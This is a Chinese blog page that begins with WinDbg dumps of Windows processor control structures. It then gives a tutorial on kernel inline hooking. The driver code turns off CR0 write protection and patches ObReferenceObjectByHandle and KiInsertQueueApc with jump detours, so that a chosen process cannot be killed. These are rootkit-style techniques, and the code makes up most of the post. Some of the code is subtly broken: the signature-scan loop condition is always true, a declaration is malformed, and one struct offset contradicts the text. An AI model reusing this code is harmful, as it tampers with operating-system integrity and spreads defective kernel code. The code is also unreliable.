+5a4 uint32 CcFastReadNoWait = 00000000
+5a8 uint32 CcFastReadWait = 00000000
+5ac uint32 CcFastReadNotPossible = 00000000
+5b0 uint32 CcCopyReadNoWait = 00000000
+5b4 uint32 CcCopyReadWait = 00000000
+5b8 uint32 CcCopyReadNoWaitMiss = 00000000
+5bc uint32 KeAlignmentFixupCount = 00000000
+5c0 uint32 KeContextSwitches = 0000b897
+5c4 uint32 KeDcacheFlushCount = 00000000
+5c8 uint32 KeExceptionDispatchCount = 000007fe
+5cc uint32 KeFirstLevelTbFills = 00000000
+5d0 uint32 KeFloatingEmulationCount = 00000000
+5d4 uint32 KeIcacheFlushCount = 00000000
+5d8 uint32 KeSecondLevelTbFills = 00000000
+5dc uint32 KeSystemCalls = 00050211
+5e0 uint32 ReservedCounter[8] = 00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
+600 void *SmallIrpFreeEntry = 00000000
+604 void *LargeIrpFreeEntry = 00000000
+608 void *MdlFreeEntry = 00000000
+60c void *CreateInfoFreeEntry = 00000000
+610 void *NameBufferFreeEntry = 00000000
+614 void *SharedCacheMapEntry = 00000000
+618 uint32 CachePad0[2] = 00000000 00000000 .... ....
+620 struct _PP_LOOKASIDE_LIST PPLookasideList[16]
+620 PPLookasideList[0]
+620 struct _NPAGED_LOOKASIDE_LIST *P = FE4EC808
+624 struct _NPAGED_LOOKASIDE_LIST *L = 804758A0
+628 PPLookasideList[1]
+628 struct _NPAGED_LOOKASIDE_LIST *P = FE4EC868
+62c struct _NPAGED_LOOKASIDE_LIST *L = 804756A0
+630 PPLookasideList[2]
+630 struct _NPAGED_LOOKASIDE_LIST *P = FE4EC7A8
+634 struct _NPAGED_LOOKASIDE_LIST *L = 80475740
+638 PPLookasideList[3]
+638 struct _NPAGED_LOOKASIDE_LIST *P = FE4F4748
+63c struct _NPAGED_LOOKASIDE_LIST *L = 8047F8A0
+640 PPLookasideList[4]
+640 struct _NPAGED_LOOKASIDE_LIST *P = FE4F46E8
+644 struct _NPAGED_LOOKASIDE_LIST *L = 8047F900
+648 PPLookasideList[5]
+648 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1168
+64c struct _NPAGED_LOOKASIDE_LIST *L = 80472100
+650 PPLookasideList[6]
+650 struct _NPAGED_LOOKASIDE_LIST *P = FE4EC8C8
+654 struct _NPAGED_LOOKASIDE_LIST *L = 80475800
+658 PPLookasideList[7]
+658 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+65c struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+660 PPLookasideList[8]
+660 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+664 struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+668 PPLookasideList[9]
+668 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+66c struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+670 PPLookasideList[10]
+670 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+674 struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+678 PPLookasideList[11]
+678 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+67c struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+680 PPLookasideList[12]
+680 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+684 struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+688 PPLookasideList[13]
+688 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+68c struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+690 PPLookasideList[14]
+690 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+694 struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+698 PPLookasideList[15]
+698 struct _NPAGED_LOOKASIDE_LIST *P = 00000000
+69c struct _NPAGED_LOOKASIDE_LIST *L = 00000000
+6a0 struct _PP_LOOKASIDE_LIST PPNPagedLookasideList[8]
+6a0 PPNPagedLookasideList[0]
+6a0 struct _NPAGED_LOOKASIDE_LIST *P = FE4F2308
+6a4 struct _NPAGED_LOOKASIDE_LIST *L = 80472A00
+6a8 PPNPagedLookasideList[1]
+6a8 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1BA8
+6ac struct _NPAGED_LOOKASIDE_LIST *L = 80472A50
+6b0 PPNPagedLookasideList[2]
+6b0 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1AE8
+6b4 struct _NPAGED_LOOKASIDE_LIST *L = 80472AA0
+6b8 PPNPagedLookasideList[3]
+6b8 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1A28
+6bc struct _NPAGED_LOOKASIDE_LIST *L = 80472AF0
+6c0 PPNPagedLookasideList[4]
+6c0 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1968
+6c4 struct _NPAGED_LOOKASIDE_LIST *L = 80472B40
+6c8 PPNPagedLookasideList[5]
+6c8 struct _NPAGED_LOOKASIDE_LIST *P = FE4F18A8
+6cc struct _NPAGED_LOOKASIDE_LIST *L = 80472B90
+6d0 PPNPagedLookasideList[6]
+6d0 struct _NPAGED_LOOKASIDE_LIST *P = FE4F17E8
+6d4 struct _NPAGED_LOOKASIDE_LIST *L = 80472BE0
+6d8 PPNPagedLookasideList[7]
+6d8 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1728
+6dc struct _NPAGED_LOOKASIDE_LIST *L = 80472C30
+6e0 struct _PP_LOOKASIDE_LIST PPPagedLookasideList[8]
+6e0 PPPagedLookasideList[0]
+6e0 struct _NPAGED_LOOKASIDE_LIST *P = FE4F22A8
+6e4 struct _NPAGED_LOOKASIDE_LIST *L = 80472CA0
+6e8 PPPagedLookasideList[1]
+6e8 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1B48
+6ec struct _NPAGED_LOOKASIDE_LIST *L = 80472CF0
+6f0 PPPagedLookasideList[2]
+6f0 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1A88
+6f4 struct _NPAGED_LOOKASIDE_LIST *L = 80472D40
+6f8 PPPagedLookasideList[3]
+6f8 struct _NPAGED_LOOKASIDE_LIST *P = FE4F19C8
+6fc struct _NPAGED_LOOKASIDE_LIST *L = 80472D90
+700 PPPagedLookasideList[4]
+700 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1908
+704 struct _NPAGED_LOOKASIDE_LIST *L = 80472DE0
+708 PPPagedLookasideList[5]
+708 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1848
+70c struct _NPAGED_LOOKASIDE_LIST *L = 80472E30
+710 PPPagedLookasideList[6]
+710 struct _NPAGED_LOOKASIDE_LIST *P = FE4F1788
+714 struct _NPAGED_LOOKASIDE_LIST *L = 80472E80
+718 PPPagedLookasideList[7]
+718 struct _NPAGED_LOOKASIDE_LIST *P = FE4F16C8
+71c struct _NPAGED_LOOKASIDE_LIST *L = 80472ED0
+720 byte ReservedPad[128] = 00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
+7a0 void *CurrentPacket[3] = 00000000
00000000
00000000
+7ac uint32 TargetSet = 00000000
+7b0 function *WorkerRoutine = 00000000
+7b4 uint32 IpiFrozen = 00000000
+7b8 uint32 CachePad1[2] = 00000000 00000000 .... ....
+7c0 uint32 RequestSummary = 00000000
+7c4 struct _KPRCB *SignalDone = 00000000
+7c8 uint32 ReverseStall = 00000004
+7cc void *IpiFrame = 00000000
+7d0 uint32 CachePad2[4] = 00000000 00000000 00000000 00000000 .... .... .... ....
+7e0 uint32 DpcInterruptRequested = 00000001
+7e4 void *ChainedInterruptList = 00000000
+7e8 uint32 CachePad3[2] = 00000000 00000000 .... ....
+7f0 uint32 MaximumDpcQueueDepth = 00000001
+7f4 uint32 MinimumDpcRate = 00000003
+7f8 uint32 CachePad4[2] = 00000000 00000000 .... ....
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink = 8047E684
+804 struct _LIST_ENTRY *Blink = FE4F5260
+808 uint32 DpcQueueDepth = 00000002
+80c uint32 DpcRoutineActive = 00000000
+810 uint32 DpcCount = 000023c1
+814 uint32 DpcLastCount = 000023c0
+818 uint32 DpcRequestRate = 00000000
+81c void *DpcStack = F9024000
+820 uint32 KernelReserved2[10] = 00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 .... ....
+848 uint32 DpcLock = 00000000
+84c byte SkipTick = 00 .
+84d byte VendorString[13] = 47 65 6e 75 69 6e 65 49 G e n u i n e I
6e 74 65 6c 00 n t e l .
+85c uint32 MHz = 00000227
+860 uint32 FeatureBits = 00000fff
+868 union _LARGE_INTEGER UpdateSignature
+868 uint32 LowPart = 00000000
+86c int32 HighPart = 00000000
+868 struct __unnamed3 u
+868 uint32 LowPart = 00000000
+86c int32 HighPart = 00000000
+868 int64 QuadPart = 0000000000000000
+870 uint32 QuantumEnd = 00000000
+878 struct _PROCESSOR_POWER_STATE PowerState
+878 function *IdleFunction = 80450804
+87c uint32 Idle0KernelTimeLimit = ffffffff
+880 uint32 Idle0LastTime = 00000000
+884 void *IdleState = 00000000
+888 uint64 LastCheck = 0000000000000000
+890 struct PROCESSOR_IDLE_TIMES IdleTimes
+890 uint64 StartTime = 0000000000000000
+898 uint64 EndTime = 0000000000000000
+8a0 uint32 IdleHandlerReserved[4] = 00000000 00000000 00000000 00000000 .... .... .... ....
+8b0 uint32 IdleTime1 = 00000000
+8b4 uint32 PromotionCheck = 00000000
+8b8 uint32 IdleTime2 = 00000000
+8bc byte CurrentThrottle = 08 .
+8bd byte ThrottleLimit = 08 .
+8be byte Spare1[2] = 00 00 . .
+8c0 uint32 SetMember = 00000001
+8c4 void *AbortThrottle = 00000000
+8c8 uint64 DebugDelta = 0000000000000000
+8d0 uint32 DebugCount = 00000000
+8d4 uint32 LastSysTime = 00000000
+8d8 uint32 Spare2[10] = 00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 .... ....
+900 struct _FX_SAVE_AREA NpxSaveArea
+900 union __unnamed63 U
+900 struct _FNSAVE_FORMAT FnArea
+900 uint32 ControlWord = 00000000
+904 uint32 StatusWord = 00000000
+908 uint32 TagWord = 00000000
+90c uint32 ErrorOffset = 00000000
+910 uint32 ErrorSelector = 00000000
+914 uint32 DataOffset = 00000000
+918 uint32 DataSelector = 00000000
+91c byte RegisterArea[80] = 00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
+900 struct _FXSAVE_FORMAT FxArea
+900 uint16 ControlWord = 0000
+902 uint16 StatusWord = 0000
+904 uint16 TagWord = 0000
+906 uint16 ErrorOpcode = 0000
+908 uint32 ErrorOffset = 00000000
+90c uint32 ErrorSelector = 00000000
+910 uint32 DataOffset = 00000000
+914 uint32 DataSelector = 00000000
+918 uint32 MXCsr = 00000000
+91c uint32 Reserved2 = 00000000
+920 byte RegisterArea[128] = 00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
+9a0 byte Reserved3[128] = 00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
+a20 byte Reserved4[224] = 00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
00 00 00 00 00 00 00 00 . . . . . . . .
+b00 byte Align16Byte[8] = 00 00 00 00 00 00 00 00 . . . . . . . .
+b08 uint32 NpxSavedCpu = 00000000
+b0c uint32 Cr0NpxState = 00000000

使用 WinDbg 的 !pcr 命令可以得到一个简单的 pcr 的输出

某一时刻使用 !pcr 的输出

kd> !pcr
PCR Processor 0 @ffdff000
NtTib.ExceptionList: 8046f7cc
NtTib.StackBase: 8046fe30
NtTib.StackLimit: 8046d040
NtTib.SubSystemTib: 00000000
NtTib.Version: 00000000
NtTib.UserPointer: 00000000
NtTib.SelfTib: 00000000

SelfPcr: ffdff000
Prcb: ffdff120
Irql: 00000000
IRR: 00000000
IDR: ffffffff
InterruptMode: 00000000
IDT: 80036400
GDT: 80036000
TSS: 80223000

CurrentThread: 8046bdf0
NextThread: 00000000
IdleThread: 8046bdf0

DpcQueue: 0x8047e680 0x80431669 nt!KiTimerExpiration
0xfe4f525c 0xfe1c1190 i8042prt!I8042KeyboardIsrDpc

欢迎交流,欢迎交朋友,
欢迎访问 http://jiurl.yeah.net http://jiurl.cosoft.org.cn/forum

posted @ 2010-01-23 16:37 风一样的离去 阅读(599) | 评论 (0)编辑 收藏

2010年1月3日 #

详谈内核三步走Inline Hook实现

本文以发表在黑防09期

详谈内核三步走Inline Hook实现

(一)Inline hook原理
Inline hook通俗的说就是对函数执行流程进行修改,达到控制函数过滤操作的目的。理论上我们可以在函数任何地方把原来指令替换成我们的跳转指令,也确实有些人在inline
的时候做的很深,来躲避inline 的检测,前提是必须对函数的流程和指令非常熟悉,且这种深层次的inlline 不具有通用性,稳定性也是问题。本文讨论的是具有通用性的两类inline的实现。
Inline hook原理:解析函数开头的几条指令,把他们Copy到数组保存起来,然后用一个调用我们的函数的几条指令来替换,如果要执行原函数,则在我们函数处理完毕,再执行我们保存起来的开头几条指令,然后调回我们取指令之后的地址执行。
整个Inline hook的过程就大体这样,中间牵扯到对函数的检查,地址的获取就直接调用函数即可。
本文所要讨论的两类Inline hook都是基于上面原理。 

说明三点:
1、堆栈平衡是重中之重,参数压栈也需要格外注意
2、CR0寄存器中的WP位控制处理器是否允许往只读内存页写入,为0禁用保护机制。
3、提高中断级别到DISPATCH_LEVEL,禁止线程切换产生的中断
                     
(二)inline hook应用
Inline hook可分为两类:
(1)inline 导出函数,选择ObReferenceObjectByHandle做例子。
(2)inline 未导出函数,选择KiInsertQueueApc做例子。
导出函数前几个字节可以利用windbg自己查看是什么内容,而未导出函数就需要自己解析指令确定需要hook几个字节,其间还有很多问题需要注意。当大家真正的弄懂了我这篇文章,回头再看inline hook就会觉得inline也不过如此。
下面通过2个例子来讲inline hook的使用(这部分知识网上也有很多,但都很零散不系统,本文部分思路及代码的确参考了网上资源,有抄袭之嫌,希望读者谅解。我一直强调“授人以鱼不如授人以渔”,代码并不重要,关键是思想。)
1、inline hook ObReferenceObjectByHandle保护进程
ObReferenceObjectByHandle属于ntoskrnl.exe导出函数,在内核中调用频繁。
NtCreateProcess创建进程需要调用ObReferenceObjectByHandle,NtTerminateProcess需要调用ObReferenceObjectByHandle,基于这我们就可以利用Hook来保护进程同时屏蔽进程的创建。
效果:已经运行的记事本任务管理器无法结束
流程:
HookObReferenceObjectByHandle------DetourMyObReferenceObjectByHa ndle----------UnHookObReferenceObjectByHandle
核心代码分析如下:
//=======================================inline HOOK ObReferenceObjectByHandle===========================

//ObReferenceObjectByHandle是ntoskrnl.exe导出函数,采用HOOK前五个字节的方式

//字节型数据  unsigned char
ULONG  CR0VALUE;
BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字节           
BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址

extern POBJECT_TYPE *PsProcessType;

NTKERNELAPI NTSTATUS ObReferenceObjectByHandle(
                         
                         IN HANDLE  Handle,
                         IN ACCESS_MASK  DesiredAccess,
                         IN POBJECT_TYPE  ObjectType  OPTIONAL,
                         IN KPROCESSOR_MODE  AccessMode,
                         OUT PVOID  *Object,
                         OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL
                         
                         );

//HOOK函数

NTSTATUS DetourMyObReferenceObjectByHandle(
                       
                       IN HANDLE  Handle,           
                       IN ACCESS_MASK  DesiredAccess
                       IN POBJECT_TYPE  ObjectType  OPTIONAL, 
                       IN KPROCESSOR_MODE  AccessMode,
                       OUT PVOID  *Object,
                       OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL);

//

//hook流程 HookObReferenceObjectByHandle---DetourMyObReferenceObjectByHandle---UnHookObReferenceObjectByHandle

void  HookObReferenceObjectByHandle()

{
  
  //赋值前面定义的数组
  KIRQL Irql;
  KdPrint(("[ObReferenceObjectByHandle] :0x%x",ObReferenceObjectByHandle));  //地址验证
  //保存函数前五个字节内容
  RtlCopyMemory(OriginalBytes,(BYTE *)ObReferenceObjectByHandle,5);
  //保存新函数五个字节之后偏移
  *(ULONG *)(JmpAddress+1)=(ULONG)DetourMyObReferenceObjectByHandle-((ULONG)ObReferenceObjectByHandle+5);
  //开始inline hook
  //关闭内存写保护
  _asm
    
  {
    push eax
      
      mov eax, cr0 
      mov CR0VALUE, eax 
      and eax, 0fffeffffh  
      mov cr0, eax
      pop eax
  }
  
  //提升IRQL中断级
  Irql=KeRaiseIrqlToDpcLevel();
  //函数开头五个字节写JMP 
  RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,JmpAddress,5);
  //恢复Irql
  KeLowerIrql(Irql);
  //开启内存写保护
  
  __asm
    
  {       
    
    push eax
      
      mov eax, CR0VALUE 
      
      mov cr0, eax
      
      pop eax
      
  }
  
}



_declspec (naked) NTSTATUS OriginalObReferenceObjectByHandle(IN HANDLE  Handle,
                               
                               IN ACCESS_MASK  DesiredAccess,
                               
                               IN POBJECT_TYPE  ObjectType  OPTIONAL,
                               
                               IN KPROCESSOR_MODE  AccessMode,
                               
                               OUT PVOID  *Object,
                               
                               OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL)
                               
{
  
  _asm
    
  {   
    
    mov edi,edi
      push ebp
      mov ebp,esp
      mov eax,ObReferenceObjectByHandle
      add eax,5
      jmp eax                
      
  }
  
}


NTSTATUS DetourMyObReferenceObjectByHandle(
                       
                       IN HANDLE  Handle,
                       
                       IN ACCESS_MASK  DesiredAccess,
                       
                       IN POBJECT_TYPE  ObjectType  OPTIONAL,
                  
                       IN KPROCESSOR_MODE  AccessMode,
                       
                       OUT PVOID  *Object,
                       
                       OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL)
                       
{
  
  NTSTATUS status;
  
  //调用原函数
  
  status=OriginalObReferenceObjectByHandle(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation);
  
  if((status==STATUS_SUCCESS)&&(DesiredAccess==1))
    
  {   
    
    if(ObjectType== *PsProcessType)
      
    {
      
      if( _stricmp((char *)((ULONG)(*Object)+0x174),"notepad.exe")==0)
        
      {   
        
        ObDereferenceObject(*Object);
        
        return STATUS_INVALID_HANDLE;
        
      }
      
    }
    
  }
  
  return status;
  
}



void UnHookObReferenceObjectByHandle()

{
  
  //把五个字节再写回到原函数
  
  KIRQL Irql;
  
    //关闭写保护
  
  _asm
    
  {
    
    push eax
      
      mov eax, cr0 
      
      mov CR0VALUE, eax 
      
      and eax, 0fffeffffh  
      
      mov cr0, eax
      
      pop eax
      
  }
  
    //提升IRQL到Dpc
  
    Irql=KeRaiseIrqlToDpcLevel();
  
  RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,OriginalBytes,5);
  
  KeLowerIrql(Irql);
  
    //开启写保护
  
  __asm
    
  {       
    
        push eax
      mov eax, CR0VALUE 
      mov cr0, eax
      
      pop eax
      
  }
}

驱动加载后,结束记事本程序如下:
 
    (图 一)

详细分析:
1、ObReferenceObjectByHandle分析
NTSTATUS 
  ObReferenceObjectByHandle(
    IN HANDLE  Handle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_TYPE  ObjectType  OPTIONAL,
    IN KPROCESSOR_MODE  AccessMode,
    OUT PVOID  *Object,
    OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL
    );
函数原型如上,由句柄获取对象指针,函数返回值:
STATUS_SUCCESS                        调用成功
STATUS_OBJECT_TYPE_MISMATCH        
STATUS_ACCESS_DENIED                 权限不够
STATUS_INVALID_HANDLE                无效句柄         

调用NtTerminateProcess需要调用ObReferenceObjectByHandle,因此我们通过对函数返回值进程修改来达到保护进程。但是NtCreateProcess(最终调用的PspCreateProcess)同样调用这个函数,如果不加区分的话,创建进程同样被禁止了,那么如何区分到底是谁在调用呢。参考WRK,我发现可以通过第二个参数DesiredAccess来判别,创建进程和结束进程第二个参数明显不同,PROCESS_CREATE_PROCESS和PROCESS_TERMINATE,问题就解决了。
PspCreateProcess位于 WRK-v1.2\base\ntos\ps\create.c
调用ObReferenceObjectByHandle代码:
Status = ObReferenceObjectByHandle (ParentProcess,
                                            PROCESS_CREATE_PROCESS,
                                            PsProcessType,
                                            PreviousMode,
                                            &Parent,
                                            NULL);
NtTerminateProcess位于 WRK-v1.2\base\ntos\ps\psdelete.c
调用ObReferenceObjectByHandle代码:
st = ObReferenceObjectByHandle (ProcessHandle,
                                    PROCESS_TERMINATE,
                                    PsProcessType,
                                    KeGetPreviousModeByThread(&Self->Tcb),
                                    &Process,
                                    NULL);
DesiredAccess参数说明:
#define PROCESS_TERMINATE         (0x0001) // winnt
#define PROCESS_CREATE_THREAD     (0x0002) // winnt
#define PROCESS_SET_SESSIONID     (0x0004) // winnt
#define PROCESS_VM_OPERATION      (0x0008) // winnt
#define PROCESS_VM_READ           (0x0010) // winnt
#define PROCESS_VM_WRITE          (0x0020) // winnt
// begin_ntddk begin_wdm begin_ntifs
#define PROCESS_DUP_HANDLE        (0x0040) // winnt
// end_ntddk end_wdm end_ntifs
#define PROCESS_CREATE_PROCESS    (0x0080) // winnt
#define PROCESS_SET_QUOTA         (0x0100) // winnt
#define PROCESS_SET_INFORMATION   (0x0200) // winnt
#define PROCESS_QUERY_INFORMATION (0x0400) // winnt
#define PROCESS_SET_PORT          (0x0800)
#define PROCESS_SUSPEND_RESUME    (0x0800) // winnt

2、函数调用说明
C语言中我们调用一个函数就直接写函数名就可以,但是实际是进行了下面的操作:
把函数参数压入堆栈,压入函数返回地址,调用函数,为新函数开辟堆栈空间申请局部变量,
恢复堆栈保持堆栈平衡
(_stdcall调用方式)汇编代码就是:
Push 参数4
Push 参数3
Push 参数2
Push 参数1
Call  函数  ;call指令同时完成2个操作,一是把返回地址压入堆栈,二跳转到调用函数入口地址

Push  ebp
Mov ebp,esp
Sub  esp, XX  ;开辟栈帧空间
……
Add  esp ,XX
Pop ebp
Retn          ;恢复堆栈平衡
堆栈详细情况:
ESP
局部变量





EBP
返回地址
参数1
参数2
参数3
参数4
堆栈是由高地址到低地址。
参数就通过EBP来去,四字节对齐的

参数4----------------------EBP+0x14
参数3----------------------EBP+0x10
参数2----------------------EBP+0xc
参数1--------------------- EBP+0x8
局部变量则通过Ebp-XX来获取

因此inline的时候要时刻考虑堆栈平衡,破坏了堆栈平衡就会导致函数崩溃。
我通常inline hook的思路就是三步走:
HOOK函数-----DetourMy处理函数----------UnHook函数
处理函数中对返回结果或者中间数据进行修改处理,然后调用原始函数。由于在我们处理的时候原始函数已经被hook了,所以我自己构造了一个原始函数,但是由于参数在我们hook前已经压人堆栈了,所以这里我们不用重新开辟栈帧,因此声名函数类型为_declspec (naked)
。有人就会问那么你调用处理函数的时候,参数不是重复压栈了,这里请注意,我们是通过JMP方式跳转到我们处理函数入口地址的,而不是Call的形式,所以并没有执行上面所说的函数调用过程,参数仍然是原始函数的。也就是说在真个inline hook过程中我们不能破坏原始栈帧的EBP。

关于函数调用很栈帧的相关联系可能比较难理解,我也在尽肯能的用通俗的话来解释清楚,有什么不理解的地方或者个人见解欢迎大家跟我交流。

2、inline hook KiInsertQueueApc对抗插APC杀进程
KiInsertQueueAPc为内核未导出函数,我下面提供的代码可以作为未导出函数inline的通用模板来使用,大家根据自己需要进行修改,基于inline ObReferenceObjectByHandle已经把原理分析了,这部分我就不详加分析,仍然采用的但不走,Hook函数---DetourMy函数---UnHook函数
直接看核心代码:
//===================inline hook KiInsertQueueApc====================
//KiInsertQueueApc为内核未导出函数,可以从导出函数KeInsertQueueApc定位
//修改KiInsertQueueApc开头5字节
//处理函数思路:apc-->kthread---apc_state--eprocess--进程名字
//HookKiInsertQueueApc---DetourMyKiInsertQueueApc---UnHookKiInsertQueueApc
ULONG CR0VALUE;
ULONG g_KiInsertQueueApc;
           
BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址
BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字

VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment);

VOID WPOFF()
{
  _asm
    
  {
    
    push eax
      
      mov eax, cr0 
      
      mov CR0VALUE, eax 
      
      and eax, 0fffeffffh  
      
      mov cr0, eax
      
      pop eax
      cli
      
  };
  
}

VOID WPON()
{
    __asm
    
  {       
    sti
    push eax
      
      mov eax, CR0VALUE 
      
      mov cr0, eax
      
      pop eax
      
  };
}
//1、获取KiInsertQueueApc地址
ULONG GetFunctionAddr( IN PCWSTR FunctionName)     //PCWSTR常量指针,指向16位UNICODE
{
  UNICODE_STRING UniCodeFunctionName;
  RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
  return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );   
}

ULONG GetKiInsertQueueApcAddr()
{
  ULONG sp_code1=0x28,sp_code2=0xe8,sp_code3=0xd88a;  //特征码,sp_code3 windbg显示错误,应该为d88a
  ULONG address=0;
  PUCHAR addr;
  PUCHAR p;
  addr=(PUCHAR)GetFunctionAddr(L"KeInsertQueueApc");
  for(p=addr;p<p+PAGE_SIZE;p++)
  {
    if((*(p-1)==sp_code1)&&(*p==sp_code2)&&(*(PUSHORT)(p+5)==sp_code3))
    {
      address=*(PULONG)(p+1)+(ULONG)(p+5);
      break;
    }
  }
  KdPrint(("[KeInsertQueueApc] addr %x\n",(ULONG)addr));
    KdPrint(("[KiInsertQueueApc] address %x\n",address));
    return address;
}

VOID HookKiInsertQueueApc()
{   
  KIRQL Irql;
  g_KiInsertQueueApc=GetKiInsertQueueApcAddr();
  KdPrint(("[KiInsertQueueApc] KiInsertQueueApc %x\n",g_KiInsertQueueApc));
    // 保存原函数的前字节内容
    RtlCopyMemory (OriginalBytes, (BYTE*)g_KiInsertQueueApc, 5);
  //新函数对原函数的偏移地址
    *( (ULONG*)(JmpAddress + 1) ) = (ULONG)DetourMyKiInsertQueueApc - (ULONG)g_KiInsertQueueApc - 5;
    // 禁止系统写保护,提升IRQL到DPC
    WPOFF();
    Irql = KeRaiseIrqlToDpcLevel();
    //inline hook函数
  RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, JmpAddress, 5 );
    // 恢复写保护,降低IRQL
    KeLowerIrql(Irql);
    WPON();  
}
//原函数
_declspec (naked) VOID FASTCALL OriginalKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment)
{
  _asm
  {
    //前五个字节
    mov edi,edi
      push ebp
      mov ebp,esp
      
      mov eax,g_KiInsertQueueApc
      add eax,5
      jmp eax
  }
}
//处理函数
//apc--kthread--apc_state--eprocess
VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment)
{
  ULONG thread;
  ULONG process;
  if(MmIsAddressValid((PULONG)((ULONG)Apc+0x008)))    //地址验证 KAPC结构+008--->kthread
    thread=*((PULONG)((ULONG)Apc+0x008));
  else
    return ;
  if(MmIsAddressValid((PULONG)((ULONG)thread+0x044))) //kthread+30-->KAPC_STATE+10-->eprocess
    process=*((PULONG)((ULONG)thread+0x044));
  else
    return ;
    if(MmIsAddressValid((PULONG)((ULONG)process+0x174)))  //eprocess+174---->进程名字
  {
    if((_stricmp((char *)((ULONG)process+0x174),"notepad.exe")==0)&&(Increment==2))
    {
      return ;

    }
    else
      OriginalKiInsertQueueApc(Apc,Increment);

  }
  else
    return;
}

//卸载函数
VOID UnHookKiInsertQueueApc()
{
  KIRQL Irql;
    WPOFF();
    Irql = KeRaiseIrqlToDpcLevel();
    //inline hook函数
    RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, OriginalBytes, 5);
    // 恢复写保护,降低IRQL
    KeLowerIrql(Irql);
    WPON();  
}
 考虑到大家水平不一,对一些问题我详细如下:
1、特征码的寻找
利用windbg的kernel debug来查找:
uf  KeInsertQueueApc
nt!KeInsertQueueApc+0x3b:
804e6d0a 8b450c          mov     eax,dword ptr [ebp+0Ch]
804e6d0d 8b5514          mov     edx,dword ptr [ebp+14h]
804e6d10 894724          mov     dword ptr [edi+24h],eax
804e6d13 8b4510          mov     eax,dword ptr [ebp+10h]
804e6d16 8bcf            mov     ecx,edi
804e6d18 894728          mov     dword ptr [edi+28h],eax
804e6d1b e8523fffff        call    nt!KiInsertQueueApc (804dac72)
804e6d20 8ad8 (错误)  mov     bl,al
特征码就是sp_code1=0x28 sp_code2=0xe8 sp_code3=0xd88a(windbg显示有误,应该是d88a

这种方法就是通过已导出函数定位未导出函数通常使用的方法,具有通用性。详细见代码。

2、取EPRocess的过程
Apc-----kthread-----apc_state—eprocess
dt  _KAPC             偏移0x008指向KTHREAD
dt  _KTHREAD         偏移0x034指向KAPC_STATE
dt  _KAPC_STATE      偏移0x10指向EPROCESS
dt  _EPROCESS         偏移0x174指向进程名


(三)总结
 很多人觉得inline hook比较难,处理起来很麻烦。但是我相信看完我这篇文章,你一定不会这么认为了,inline hook其实只要细心,注意细节跟别的hook没什么两样。本人采用的三步走inline hook做到了把inline简单化,同时有保证了堆栈的平衡。
 由于代码采用的硬编码,编译环境是sp3+VMware,请根据自己操作系统自行修改。欢迎读者跟我交流。

posted @ 2010-01-03 23:09 风一样的离去 阅读(863) | 评论 (0)编辑 收藏

